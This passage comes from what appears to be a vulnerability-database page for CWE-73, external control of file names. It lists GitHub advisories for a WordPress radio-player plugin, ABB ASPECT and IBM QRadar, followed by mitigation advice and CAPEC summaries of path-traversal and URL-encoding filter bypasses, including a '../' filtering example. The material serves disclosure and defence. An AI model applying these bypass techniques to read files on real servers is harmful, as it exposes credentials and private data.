"url": "https://plugins.trac.wordpress.org/browser/delicious-recipes/tags/1.6.7/src/dashboard/class-delicious-recipes-form-handler.php#L260"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/delicious-recipes/tags/1.6.7/src/dashboard/class-delicious-recipes-form-handler.php#L355"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3148996/delicious-recipes/trunk/src/dashboard/class-delicious-recipes-form-handler.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3c98bb53-9f7e-4ab3-9676-e3dbfb4a0519?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CGF8-4346-5G89
Vulnerability from github – Published: 2025-04-19 06:30 – Updated: 2025-04-19 06:30The CLEVER - HTML5 Radio Player With History - Shoutcast and Icecast - Elementor Widget Addon plugin for WordPress is vulnerable to arbitrary file read due to insufficient file path validation in the 'history.php' file in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to read arbitrary files on the affected site's server, which may contain sensitive information including database credentials. The vulnerability was partially patched in version 2.4.
{
"affected": [],
"aliases": [
"CVE-2025-3103"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-19T05:15:44Z",
"severity": "HIGH"
},
"details": "The CLEVER - HTML5 Radio Player With History - Shoutcast and Icecast - Elementor Widget Addon plugin for WordPress is vulnerable to arbitrary file read due to insufficient file path validation in the \u0027history.php\u0027 file in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to read arbitrary files on the affected site\u0027s server, which may contain sensitive information including database credentials. The vulnerability was partially patched in version 2.4.",
"id": "GHSA-cgf8-4346-5g89",
"modified": "2025-04-19T06:30:24Z",
"published": "2025-04-19T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3103"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/clever-html5-radio-player-with-history-shoutcast-and-icecast-elementor-widget-addon/26708087#item-description__updates-release-log"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0733261f-a2e1-4bd1-a57d-fdaaa8c904db?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CGQ3-4XQ4-V94R
Vulnerability from github – Published: 2025-05-22 21:30 – Updated: 2025-05-22 21:30Predictable filename vulnerabilities in ASPECT may expose sensitive information to a potential attacker if administrator credentials become compromisedThis issue affects ASPECT-Enterprise: through 3.; NEXUS Series: through 3.; MATRIX Series: through 3.*.
{
"affected": [],
"aliases": [
"CVE-2024-51553"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-22T19:15:42Z",
"severity": "HIGH"
},
"details": "Predictable filename vulnerabilities in ASPECT may expose sensitive information to a potential attacker if administrator credentials become compromisedThis issue affects ASPECT-Enterprise: through 3.*; NEXUS Series: through 3.*; MATRIX Series: through 3.*.",
"id": "GHSA-cgq3-4xq4-v94r",
"modified": "2025-05-22T21:30:47Z",
"published": "2025-05-22T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51553"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108471A0021\u0026LanguageCode=en\u0026DocumentPartId=pdf\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CMVV-RX7C-4VMX
Vulnerability from github – Published: 2025-06-19 18:31 – Updated: 2025-06-19 18:31IBM QRadar SIEM 7.5 through 7.5.0 Update Package 12 could allow a privileged user to modify configuration files that would allow the upload of a malicious autoupdate file to execute arbitrary commands.
{
"affected": [],
"aliases": [
"CVE-2025-33117"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-19T18:15:21Z",
"severity": "CRITICAL"
},
"details": "IBM QRadar SIEM 7.5 through 7.5.0 Update Package 12 could allow a privileged user to modify configuration files that would allow the upload of a malicious autoupdate file to execute arbitrary commands.",
"id": "GHSA-cmvv-rx7c-4vmx",
"modified": "2025-06-19T18:31:47Z",
"published": "2025-06-19T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33117"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7237317"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.